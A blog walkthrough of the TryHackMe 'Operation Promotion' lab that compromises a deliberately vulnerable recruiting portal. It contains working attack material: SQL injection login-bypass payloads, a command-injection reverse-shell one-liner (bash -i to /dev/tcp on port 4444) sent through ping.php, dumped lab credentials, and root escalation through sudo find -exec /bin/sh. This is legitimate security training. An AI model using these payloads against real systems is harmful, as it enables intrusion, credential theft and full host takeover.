Skip to main content

Command Palette

Search for a command to run...

Operation Promotion (TryHackMe)

Updated
15 min readView as Markdown
Operation Promotion (TryHackMe)
J
Software Developer | Learning Cybersecurity | Open for roles * If you're in the early stages of your career in software development (student or still looking for an entry-level role) and in need of mentorship, you can reach out to me.

Challenge on TryHackMe: Operation Promotion

You are up for promotion at Hadron Security. Your senior lead, Mara, has handed you a solo engagement against RecruitCorp, a small recruiting firm with a public-facing portal. Compromise the host, capture the flags, and demonstrate that you are ready for the Penetration Tester title.

Start the VM by clicking the Start Lab Machine button at the top-right of the task. You can complete the challenge by connecting through VPN or the AttackBox, which contains all the essential tools.

Allow two to three minutes for all services to start.

Answer the questions below

What is the content of user.txt?

nmap -p- -sV IP_Address

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http        Apache httpd 2.4.58 ((Ubuntu))
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2

gobuster dir -u http://IP_Address -w /usr/share/wordlists/dirb/common.txt -x php,html,txt

gobuster dir -u http://IP_Address -w /usr/share/wordlists/dirb/common.txt -x php,html,txt

/.html                (Status: 403) [Size: 278]
/.php                 (Status: 403) [Size: 278]
/.hta.php             (Status: 403) [Size: 278]
/.hta                 (Status: 403) [Size: 278]
/.hta.txt             (Status: 403) [Size: 278]
/.htaccess.php        (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/.hta.html            (Status: 403) [Size: 278]
/.htaccess.html       (Status: 403) [Size: 278]
/.htpasswd            (Status: 403) [Size: 278]
/.htpasswd.php        (Status: 403) [Size: 278]
/.htpasswd.html       (Status: 403) [Size: 278]
/.htpasswd.txt        (Status: 403) [Size: 278]
/.htaccess.txt        (Status: 403) [Size: 278]
/admin                (Status: 301) [Size: 314] [--> http://IP_Address/admin/]
/config               (Status: 403) [Size: 278]
/index.php            (Status: 200) [Size: 1620]
/index.php            (Status: 200) [Size: 1620]
/robots.txt           (Status: 200) [Size: 32]
/robots.txt           (Status: 200) [Size: 32]
/server-status        (Status: 403) [Size: 278]
curl http://IP_Address/robots.txt
User-agent: *
Disallow: /admin/
gobuster dir -u http://IP_Address/admin -w /usr/share/wordlists/dirb/common.txt -x php,html,txt

/dashboard.php        (Status: 302) [Size: 0] [--> /admin/]
/index.php            (Status: 200) [Size: 1093]
/index.php            (Status: 200) [Size: 1093]
/logout.php           (Status: 302) [Size: 0] [--> /admin/]
/users                (Status: 301) [Size: 320] 
smbclient -N -L //IP_Address/

	Sharename       Type      Comment
	---------       ----      -------
	public          Disk      
	IPC$            IPC       IPC Service (RecruitCorp File Services)
SMB1 disabled -- no workgroup available
enum4linux -a IP_Address
ENUM4LINUX - next generation (v1.3.10)

usage: enum4linux-ng.py [-h] [-A] [-As] [-U] [-G] [-Gm] [-S] [-C] [-P] [-O]
                        [-L] [-I] [-R [BULK_SIZE]] [-N] [-w DOMAIN]
                        [-u USER] [-p PW | -K TICKET_FILE | -H NTHASH]
                        [--local-auth] [-d] [-k USERS] [-r RANGES]
                        [-s SHARES_FILE] [-t TIMEOUT] [-v] [--keep]
                        [-oJ OUT_JSON_FILE | -oY OUT_YAML_FILE | -oA OUT_FILE]
                        host
enum4linux-ng.py: error: unrecognized arguments: -a
curl -s http://IP_Address/admin/ | tail -50
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Sign in - RecruitCorp Admin</title>
<link rel="stylesheet" href="/style.css">
</head>
<body>
<nav class="navbar">
    <span class="brand">RecruitCorp Admin</span>
</nav>
<main class="container" style="max-width:420px">
    <div class="card">
        <h1>Sign in</h1>
        <p class="muted">Internal admin portal. Authorised personnel only.</p>
                <form method="POST" action="/admin/">
            <div class="form-group">
                <label for="username">Username</label>
                <input id="username" type="text" name="username" class="form-control" required autofocus>
            </div>
            <div class="form-group">
                <label for="password">Password</label>
                <input id="password" type="password" name="password" class="form-control" required>
            </div>
            <button type="submit" class="btn btn-primary">Sign in</button>
        </form>
    </div>
</main>
</body>
</html>

smbclient -N //IP_Address/public

Try "help" to get a list of possible commands.

smb: \> ls

  .                                   D        0  Sat May  9 22:40:25 2026

  ..                                  D        0  Sat May  9 22:40:25 2026

  README.txt                          N       92  Sat May  9 22:40:25 2026

		40581564 blocks of size 1024. 37361156 blocks available

smb: \> get README.txt

getting file \README.txt of size 92 as README.txt (22.5 KiloBytes/sec) (average 22.5 KiloBytes/sec)
cat README.txt

This share is reserved for future internal file distribution.

Nothing to see here yet.

- IT
curl -sv http://IP_Address/admin/users/lookup.php
*   Trying IP_Address:80...
* Connected to IP_Address (IP_Address) port 80
> GET /admin/users/lookup.php HTTP/1.1
> Host: IP_Address
> User-Agent: curl/8.5.0
> Accept: */*
> 
< HTTP/1.1 302 Found
< Date: Thu, 09 Jul 2026 18:56:08 GMT
< Server: Apache/2.4.58 (Ubuntu)
< Set-Cookie: PHPSESSID=1qljvt6fies656hianf3nldeos; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Location: /admin/
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
< 
* Connection #0 to host IP_Address left intact
curl -s "http://IP_Address/admin/users/lookup.php?name=admin"
curl -s "http://IP_Address/admin/users/lookup.php?email=admin"
curl -s "http://IP_Address/admin/users/lookup.php?q=admin"
curl -s "http://IP_Address/admin/users/lookup.php?search=admin"
curl -s -X POST http://IP_Address/admin/users/lookup.php -d "username=admin"
curl -s -X POST http://IP_Address/admin/users/lookup.php -d "id=1"
 curl -s -i http://IP_Address/admin/ -d "username=admin' OR '1'='1&password=x"
curl -s -i http://IP_Address/admin/ -d "username=admin'-- -&password=x"
curl -s -i http://IP_Address/admin/ -d "username=admin' OR 1=1-- -&password=x"
HTTP/1.1 302 Found
Date: Thu, 09 Jul 2026 18:58:40 GMT
Server: Apache/2.4.58 (Ubuntu)
Set-Cookie: PHPSESSID=nnvj431poospq2nib7ptoik33v; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /admin/dashboard.php
Content-Length: 0
Content-Type: text/html; charset=UTF-8

HTTP/1.1 302 Found
Date: Thu, 09 Jul 2026 18:58:40 GMT
Server: Apache/2.4.58 (Ubuntu)
Set-Cookie: PHPSESSID=c49asnvhtrll6j1r4l08cto200; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /admin/dashboard.php
Content-Length: 0
Content-Type: text/html; charset=UTF-8

HTTP/1.1 302 Found
Date: Thu, 09 Jul 2026 18:58:40 GMT
Server: Apache/2.4.58 (Ubuntu)
Set-Cookie: PHPSESSID=7vn8gv0mdafe1nls9o2vg8ll68; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /admin/dashboard.php
Content-Length: 0
Content-Type: text/html; charset=UTF-8
sqlmap -u "http://IP_Address/admin/" --data="username=admin&password=admin" -p username --batch --level=3 --risk=2
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.8.4#stable}
|_ -| . [)]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 18:59:41 /2026-07-09/

[18:59:41] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=fnu4jggob0v...qjdpspdnud'). Do you want to use those [Y/n] Y
[18:59:41] [INFO] checking if the target is protected by some kind of WAF/IPS
[18:59:41] [INFO] testing if the target URL content is stable
[18:59:42] [INFO] target URL content is stable
[18:59:42] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable
[18:59:42] [INFO] testing for SQL injection on POST parameter 'username'
[18:59:42] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:59:42] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[18:59:42] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (comment)'
[18:59:42] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[18:59:42] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (Microsoft Access comment)'
[18:59:42] [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause'
[18:59:43] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)'
[18:59:43] [INFO] testing 'PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)'
[18:59:43] [INFO] testing 'Oracle AND boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'
[18:59:43] [INFO] testing 'SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)'
[18:59:43] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[18:59:43] [INFO] testing 'PostgreSQL boolean-based blind - Parameter replace'
[18:59:43] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Parameter replace'
[18:59:43] [INFO] testing 'Oracle boolean-based blind - Parameter replace'
[18:59:43] [INFO] testing 'Informix boolean-based blind - Parameter replace'
[18:59:43] [INFO] testing 'Microsoft Access boolean-based blind - Parameter replace'
[18:59:43] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL)'
[18:59:43] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL - original value)'
[18:59:43] [INFO] testing 'Boolean-based blind - Parameter replace (CASE)'
[18:59:43] [INFO] testing 'Boolean-based blind - Parameter replace (CASE - original value)'
[18:59:43] [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause'
[18:59:43] [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)'
[18:59:43] [INFO] testing 'MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause'
[18:59:43] [INFO] testing 'PostgreSQL boolean-based blind - ORDER BY, GROUP BY clause'
[18:59:43] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause'
[18:59:43] [INFO] testing 'Oracle boolean-based blind - ORDER BY, GROUP BY clause'
[18:59:43] [INFO] testing 'HAVING boolean-based blind - WHERE, GROUP BY clause'
[18:59:44] [INFO] testing 'PostgreSQL boolean-based blind - Stacked queries'
got a 302 redirect to 'http://IP_Address/admin/dashboard.php'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [y/N] N
[18:59:44] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Stacked queries (IF)'
[18:59:44] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[18:59:45] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[18:59:45] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[18:59:45] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[18:59:45] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[18:59:46] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[18:59:46] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONVERT)'
[18:59:46] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONCAT)'
[18:59:47] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[18:59:47] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)'
[18:59:47] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'
[18:59:47] [INFO] testing 'Firebird AND error-based - WHERE or HAVING clause'
[18:59:48] [INFO] testing 'MonetDB AND error-based - WHERE or HAVING clause'
[18:59:48] [INFO] testing 'Vertica AND error-based - WHERE or HAVING clause'
[18:59:48] [INFO] testing 'IBM DB2 AND error-based - WHERE or HAVING clause'
[18:59:49] [INFO] testing 'ClickHouse AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[18:59:49] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[18:59:49] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[18:59:49] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[18:59:49] [INFO] testing 'PostgreSQL error-based - Parameter replace'
[18:59:49] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace'
[18:59:49] [INFO] testing 'Oracle error-based - Parameter replace'
[18:59:49] [INFO] testing 'MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE)'
[18:59:49] [INFO] testing 'MySQL >= 4.1 error-based - ORDER BY, GROUP BY clause (FLOOR)'
[18:59:49] [INFO] testing 'PostgreSQL error-based - ORDER BY, GROUP BY clause'
[18:59:49] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Stacking (EXEC)'
[18:59:50] [INFO] testing 'Generic inline queries'
[18:59:50] [INFO] testing 'MySQL inline queries'
[18:59:50] [INFO] testing 'PostgreSQL inline queries'
[18:59:50] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[18:59:50] [INFO] testing 'Oracle inline queries'
[18:59:50] [INFO] testing 'SQLite inline queries'
[18:59:50] [INFO] testing 'Firebird inline queries'
[18:59:50] [INFO] testing 'ClickHouse inline queries'
[18:59:50] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[18:59:50] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[18:59:50] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[18:59:50] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[18:59:51] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[18:59:51] [INFO] testing 'PostgreSQL stacked queries (heavy query - comment)'
[18:59:51] [INFO] testing 'PostgreSQL < 8.2 stacked queries (Glibc - comment)'
[18:59:51] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[18:59:51] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (DECLARE - comment)'
[18:59:51] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[18:59:52] [INFO] testing 'Oracle stacked queries (heavy query - comment)'
[18:59:52] [INFO] testing 'IBM DB2 stacked queries (heavy query - comment)'
[18:59:52] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query - comment)'
[18:59:52] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[18:59:52] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SLEEP)'
[18:59:52] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SLEEP - comment)'
[18:59:53] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP - comment)'
[18:59:53] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (BENCHMARK)'
[18:59:53] [INFO] testing 'MySQL > 5.0.12 AND time-based blind (heavy query)'
[18:59:53] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind'
[18:59:54] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP)'
[18:59:54] [INFO] testing 'MySQL AND time-based blind (ELT)'
[18:59:54] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[18:59:54] [INFO] testing 'PostgreSQL AND time-based blind (heavy query)'
[18:59:55] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[18:59:55] [INFO] testing 'Microsoft SQL Server/Sybase AND time-based blind (heavy query)'
[18:59:55] [INFO] testing 'Oracle AND time-based blind'
[18:59:55] [INFO] testing 'Oracle AND time-based blind (heavy query)'
[18:59:56] [INFO] testing 'IBM DB2 AND time-based blind (heavy query)'
[18:59:56] [INFO] testing 'SQLite > 2.0 AND time-based blind (heavy query)'
[18:59:56] [INFO] testing 'Informix AND time-based blind (heavy query)'
[18:59:57] [INFO] testing 'MySQL >= 5.1 time-based blind (heavy query) - PROCEDURE ANALYSE (EXTRACTVALUE)'
[18:59:57] [INFO] testing 'MySQL >= 5.0.12 time-based blind - Parameter replace'
[18:59:57] [INFO] testing 'MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)'
[18:59:57] [INFO] testing 'PostgreSQL > 8.1 time-based blind - Parameter replace'
[18:59:57] [INFO] testing 'Oracle time-based blind - Parameter replace (DBMS_LOCK.SLEEP)'
[18:59:57] [INFO] testing 'Oracle time-based blind - Parameter replace (DBMS_PIPE.RECEIVE_MESSAGE)'
[18:59:57] [INFO] testing 'MySQL >= 5.0.12 time-based blind - ORDER BY, GROUP BY clause'
[18:59:57] [INFO] testing 'PostgreSQL > 8.1 time-based blind - ORDER BY, GROUP BY clause'
[18:59:57] [INFO] testing 'Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_LOCK.SLEEP)'
[18:59:57] [INFO] testing 'Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_PIPE.RECEIVE_MESSAGE)'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y
[18:59:57] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[18:59:57] [INFO] testing 'Generic UNION query (random number) - 1 to 10 columns'
[18:59:58] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[18:59:58] [INFO] testing 'MySQL UNION query (random number) - 1 to 10 columns'
[18:59:58] [WARNING] POST parameter 'username' does not seem to be injectable
[18:59:58] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
[18:59:58] [WARNING] your sqlmap version is outdated

[*] ending @ 18:59:58 /2026-07-09/
nc -lvnp 4444
curl -s -b cookies.txt --data-urlencode "host=127.0.0.1; bash -c 'bash -i >& /dev/tcp/ATTACK_IP/4444 0>&1'" -G http://TARGET_IP/admin/sysmaint-checks/ping.php
nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on IP_Address 44542
bash: cannot set terminal process group (877): Inappropriate ioctl for device
bash: no job control in this shell
www-data@recruitcorp:/var/www/html/admin/sysmaint-checks$ find / -type f -name user.txt 2>/dev/null
<t-checks$ find / -type f -name user.txt 2>/dev/null      
www-data@recruitcorp:/var/www/html/admin/sysmaint-checks$ 
www-data@recruitcorp:/var/www/html/admin/sysmaint-checks$ ls /home
ls /home
jford
ubuntu
www-data@recruitcorp:/var/www/html/admin/sysmaint-checks$ ls -la /home/jford
ls -la /home/jford
ls: cannot open directory '/home/jford': Permission denied
www-data@recruitcorp:/var/www/html/admin/sysmaint-checks$ ls -ls /home
ls -ls /home
total 8
4 drwxr-x--- 2 jford  jford  4096 May  9 22:50 jford
4 drwxr-xr-x 5 ubuntu ubuntu 4096 May 20 09:51 ubuntu
www-data@recruitcorp:/var/www/html/admin/sysmaint-checks$
sudo -l
[sudo] password for www-data: 

www-data@recruitcorp:/var/www/html/admin/sysmaint-checks$ find / -perm -4000 -type f 2>/dev/null
/snap/core20/2866/usr/bin/chfn
/snap/core20/2866/usr/bin/chsh
/snap/core20/2866/usr/bin/gpasswd
/snap/core20/2866/usr/bin/mount
/snap/core20/2866/usr/bin/newgrp
/snap/core20/2866/usr/bin/passwd
/snap/core20/2866/usr/bin/su
/snap/core20/2866/usr/bin/sudo
/snap/core20/2866/usr/bin/umount
/snap/core20/2866/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2866/usr/lib/openssh/ssh-keysign
/snap/core20/2769/usr/bin/chfn
/snap/core20/2769/usr/bin/chsh
/snap/core20/2769/usr/bin/gpasswd
/snap/core20/2769/usr/bin/mount
/snap/core20/2769/usr/bin/newgrp
/snap/core20/2769/usr/bin/passwd
/snap/core20/2769/usr/bin/su
/snap/core20/2769/usr/bin/sudo
/snap/core20/2769/usr/bin/umount
/snap/core20/2769/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2769/usr/lib/openssh/ssh-keysign
/snap/core/17292/bin/mount
/snap/core/17292/bin/ping
/snap/core/17292/bin/ping6
/snap/core/17292/bin/su
/snap/core/17292/bin/umount
/snap/core/17292/usr/bin/chfn
/snap/core/17292/usr/bin/chsh
/snap/core/17292/usr/bin/gpasswd
/snap/core/17292/usr/bin/newgrp
/snap/core/17292/usr/bin/passwd
/snap/core/17292/usr/bin/sudo
/snap/core/17292/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/17292/usr/lib/openssh/ssh-keysign
/snap/core/17292/usr/lib/snapd/snap-confine
/snap/core/17292/usr/sbin/pppd
/snap/core18/2999/bin/mount
/snap/core18/2999/bin/ping
/snap/core18/2999/bin/su
/snap/core18/2999/bin/umount
/snap/core18/2999/usr/bin/chfn
/snap/core18/2999/usr/bin/chsh
/snap/core18/2999/usr/bin/gpasswd
/snap/core18/2999/usr/bin/newgrp
/snap/core18/2999/usr/bin/passwd
/snap/core18/2999/usr/bin/sudo
/snap/core18/2999/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2999/usr/lib/openssh/ssh-keysign
/snap/core18/1885/bin/mount
/snap/core18/1885/bin/ping
/snap/core18/1885/bin/su
/snap/core18/1885/bin/umount
/snap/core18/1885/usr/bin/chfn
/snap/core18/1885/usr/bin/chsh
/snap/core18/1885/usr/bin/gpasswd
/snap/core18/1885/usr/bin/newgrp
/snap/core18/1885/usr/bin/passwd
/snap/core18/1885/usr/bin/sudo
/snap/core18/1885/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/1885/usr/lib/openssh/ssh-keysign
/snap/core22/2411/usr/bin/chfn
/snap/core22/2411/usr/bin/chsh
/snap/core22/2411/usr/bin/gpasswd
/snap/core22/2411/usr/bin/mount
/snap/core22/2411/usr/bin/newgrp
/snap/core22/2411/usr/bin/passwd
/snap/core22/2411/usr/bin/su
/snap/core22/2411/usr/bin/sudo
/snap/core22/2411/usr/bin/umount
/snap/core22/2411/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core22/2411/usr/lib/openssh/ssh-keysign
/snap/core22/2411/usr/libexec/polkit-agent-helper-1
/snap/core22/1621/usr/bin/chfn
/snap/core22/1621/usr/bin/chsh
/snap/core22/1621/usr/bin/gpasswd
/snap/core22/1621/usr/bin/mount
/snap/core22/1621/usr/bin/newgrp
/snap/core22/1621/usr/bin/passwd
/snap/core22/1621/usr/bin/su
/snap/core22/1621/usr/bin/sudo
/snap/core22/1621/usr/bin/umount
/snap/core22/1621/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core22/1621/usr/lib/openssh/ssh-keysign
/snap/core22/1621/usr/libexec/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/umount
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/fusermount3
/usr/bin/su
/usr/bin/mount
cat /var/www/html/admin/index.php
<?php
session_start();

if (isset($_SESSION['admin_user'])) {
    header("Location: /admin/dashboard.php");
    exit;
}

$error = "";

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $u = $_POST['username'] ?? '';
    $p = $_POST['password'] ?? '';

    $db = new SQLite3('/var/lib/recruitcorp/app.db');

    // VULN: direct string concatenation - SQL injection
    $query = "SELECT id, username FROM users WHERE username='$u' AND password='$p'";
    $res = @$db->query($query);

    if ($res !== false) {
        $row = $res->fetchArray(SQLITE3_ASSOC);
        if ($row) {
            $_SESSION['admin_user'] = $row['username'];
            $_SESSION['admin_uid']  = $row['id'];
            header("Location: /admin/dashboard.php");
            exit;
        }
    }
    $error = "Invalid credentials.";
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Sign in - RecruitCorp Admin</title>
<link rel="stylesheet" href="/style.css">
</head>
<body>
<nav class="navbar">
    <span class="brand">RecruitCorp Admin</span>
</nav>
<main class="container" style="max-width:420px">
    <div class="card">
        <h1>Sign in</h1>
        <p class="muted">Internal admin portal. Authorised personnel only.</p>
        <?php if ($error): ?>
            <div class="alert alert-danger"><?php echo htmlspecialchars($error); ?></div>
        <?php endif; ?>
        <form method="POST" action="/admin/">
            <div class="form-group">
                <label for="username">Username</label>
                <input id="username" type="text" name="username" class="form-control" required autofocus>
            </div>
            <div class="form-group">
                <label for="password">Password</label>
                <input id="password" type="password" name="password" class="form-control" required>
            </div>
            <button type="submit" class="btn btn-primary">Sign in</button>
        </form>
    </div>
</main>
</body>
</html>
sqlite3 /var/lib/recruitcorp/app.db ".dump"
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE users (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    username TEXT NOT NULL,
    password TEXT NOT NULL,
    role TEXT NOT NULL,
    notes TEXT
);
INSERT INTO users VALUES(1,'admin','A!7s2f9DkLp_Q3e','admin','Primary admin account.');
INSERT INTO users VALUES(2,'mvasquez','pw_mv_4831','recruiter','Owns the EMEA pipeline.');
INSERT INTO users VALUES(3,'tparker','pw_tp_2210','recruiter','Owns the AMER pipeline.');
INSERT INTO users VALUES(4,'lhayes','pw_lh_9911','analyst','Reporting only.');
INSERT INTO users VALUES(5,'kchen','pw_kc_7763','recruiter','Out on leave.');
INSERT INTO users VALUES(6,'rdavis','pw_rd_2241','analyst','Reporting only.');
INSERT INTO users VALUES(7,'sysmaint','pw_sm_8841','system','Service account for /admin/sysmaint-checks/ping.php. Do not disable.');
INSERT INTO users VALUES(8,'jbailey','pw_jb_3392','recruiter','New starter Q3.');
INSERT INTO users VALUES(9,'aokafor','pw_ao_5588','recruiter','APAC.');
DELETE FROM sqlite_sequence;
INSERT INTO sqlite_sequence VALUES('users',9);
COMMIT;

Steps

curl -s -c cookies.txt -i http://10.113.168.204/admin/ -d "username=admin' OR '1'='1&password=x"

curl -s -b cookies.txt --data-urlencode "host=127.0.0.1; bash -c 'bash -i >& /dev/tcp/10.113.107.145/4444 0>&1'" -G http://10.113.168.204/admin/sysmaint-checks/ping.php

cat /var/www/html/config/db.conf
<n/sysmaint-checks$ cat /var/www/html/config/db.conf      
# RecruitCorp application database config
# Pulled out of source control - DO NOT COMMIT.
db_host=localhost
db_name=recruitcorp
db_user=jford
db_pass_hash=$2b$10$QzkXmGndA2cQLozO3xAN6eWKrl6ZXyzhYTJNF67exOmTmN5oVSEfq
db_engine=sqlite3

we've to decyrpt the bcyrpt

ssh jford@IP_Address

  • spring2026! - pass - they used hydra to find the password
jford@recruitcorp:~$ cat user.txt
THM{bdbee0a91ebcb0b0fafde93122redacted}

What is the content of flag.txt?

sudo -l
Matching Defaults entries for jford on recruitcorp:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User jford may run the following commands on recruitcorp:
    (root) NOPASSWD: /usr/bin/find
jford@recruitcorp:~$ sudo find . -exec /bin/sh \; -quit
# find / -type f -name flag.txt 2>/dev/null
/root/flag.txt
# cat /root/flag.txt
THM{d999a1f6319a9c5b48c067dfabredacted}